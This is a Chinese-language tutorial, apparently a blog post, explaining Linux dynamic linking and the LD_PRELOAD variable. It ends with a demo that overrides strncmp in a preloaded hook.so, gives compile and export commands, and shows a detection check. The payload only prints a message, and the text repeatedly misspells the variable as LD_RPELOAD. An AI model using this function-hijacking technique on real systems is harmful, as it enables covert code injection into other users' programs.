目录
LD_RPELOAD环境变量
LD_RPELOAD
定义
程序的连接方式
Linux规定动态链接库的文件名规则如下
动态链接库的搜索路径搜索的先后顺序
LD_RPELOAD的劫持
demo
1.定义一个hook.c文件
2.将所写的hook.c 文件编译为动态链接库hook.so
3.劫持检测,查看LD_PRELOAD变量是否存在内容,如果有的话则需检查对应的.so文件
4.利用编译好的hook.so文件,进行逆行设置
5.进行测试
弊端
LD_RPELOAD环境变量
LD_RPELOAD
定义
LD_RPELOAD是Linux/Unix
系统的一个环境变量,它影响程序的运行时的链接(Runtime linker),它允许在程序运行前定义优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库
程序的连接方式
-
静态链接 --- 在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开
-
装入时动态链接 --- 源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接
-
运行时动态链接 --- 原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接
注意:
静态链接库 --- 在Linux下文件名后缀为
.a
,如libstdc++.a
。在编译链接时直接将目标代码加入可执行程序动态链接库 --- 在Linux下是
.so
文件,在编译链接时只需要记录需要链接的号,运行程序时才会进行真正的“链接”,所以称为“动态链接”。如果同一台机器上有多个服务使用同一个动态链接库,则只需要加载一份到内存中共享。因此, 动态链接库也称共享库 或者共享对象
Linux规定动态链接库的文件名规则如下
libname.so.x.y.z
解析
lib
--- 统一前缀。so
--- 统一后缀。name
--- 库名,如libstdc++.so.6.0.21的name就是stdc++。x
--- 主版本号 。表示库有重大升级,不同主版本号的库之间是不兼容的。如libstdc++.so.6.0.21的主版本号是6。y
--- 次版本号 。表示库的增量升级,如增加一些新的接口。在主版本号相同的情况下, 高的次版本号向后兼容低的次版本号 。如libstdc++.so.6.0.21的次版本号是0。z
--- 发布版本号 。表示库的优化、bugfix等。相同的主次版本号,不同的发布版本号的库之间 完全兼容 。如libstdc++.so.6.0.21的发布版本号是21。
动态链接库的搜索路径搜索的先后顺序
-
编译目标代码时指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索)
-
环境变量
LD_LIBRARY_PATH
指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索) -
配置文件
/etc/ld.so.conf
中指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索) -
默认的动态库搜索路径
/lib
-
默认的动态库搜索路径
/usr/lib
LD_RPELOAD(not LD_RPELOAD_PATH) 是要在任何其他库之前加载的特定库 (files) 的列表,无论程序是否需要。LD_RPELOAD_PATH是在加载无论如何都会加载的库时要搜索的目录列表。 在 linux 上,您可以阅读man ld.so有关这些和其他影响动态链接器的环境变量的更多信息
这里 LD_PRELOAD 甚至超脱于动态链接库的搜索路径先后顺序之外,它可以指定在程序运行前优先加载的动态链接库
LD_RPELOAD的劫持
LD_PRELOAD 实际上也是一种代码注入,只是注入的方式和普遍的 Web 端注入的方式不同
demo
我们重写程序运行过程中所调用的函数并将其编译为动态链接库文件,然后通过我们对环境变量的控制来让程序优先加载这里的恶意的动态链接库,进而实现我们在动态链接库中所写的恶意函数
具体操作步骤:
定义一个函数,函数的名称、变量及变量类型、返回值及返回值类型都要与要替换的函数完全一致。这就要求我们在写动态链接库之前要先去翻看一下对应手册等。
将所写的 c 文件编译为动态链接库。
对 LD_PRELOAD 及逆行设置,值为库文件路径,接下来就可以实现对目标函数原功能的劫持了
结束攻击,使用命令 unset LD_PRELOAD 即可
1.定义一个hook.c文件
vim hook.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>void payload(){printf("hack is ok!");
}int strncmp(const char*__s1, const char*__s2, size_t __n){
if(getenv("LD_PRELOAD") == NULL){
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
2.将所写的hook.c 文件编译为动态链接库hook.so
gcc -shared -fPIC hook.c -o hook.so //编译成.so文件
3.劫持检测,查看LD_PRELOAD变量是否存在内容,如果有的话则需检查对应的.so文件
echo $LD_PRELOAD
4.利用编译好的hook.so文件,进行逆行设置
export LD_PRELOAD=$PWD/hook.so
5.进行测试
弊端
直接改写正常调用的库函数,会导致一些正常命令崩溃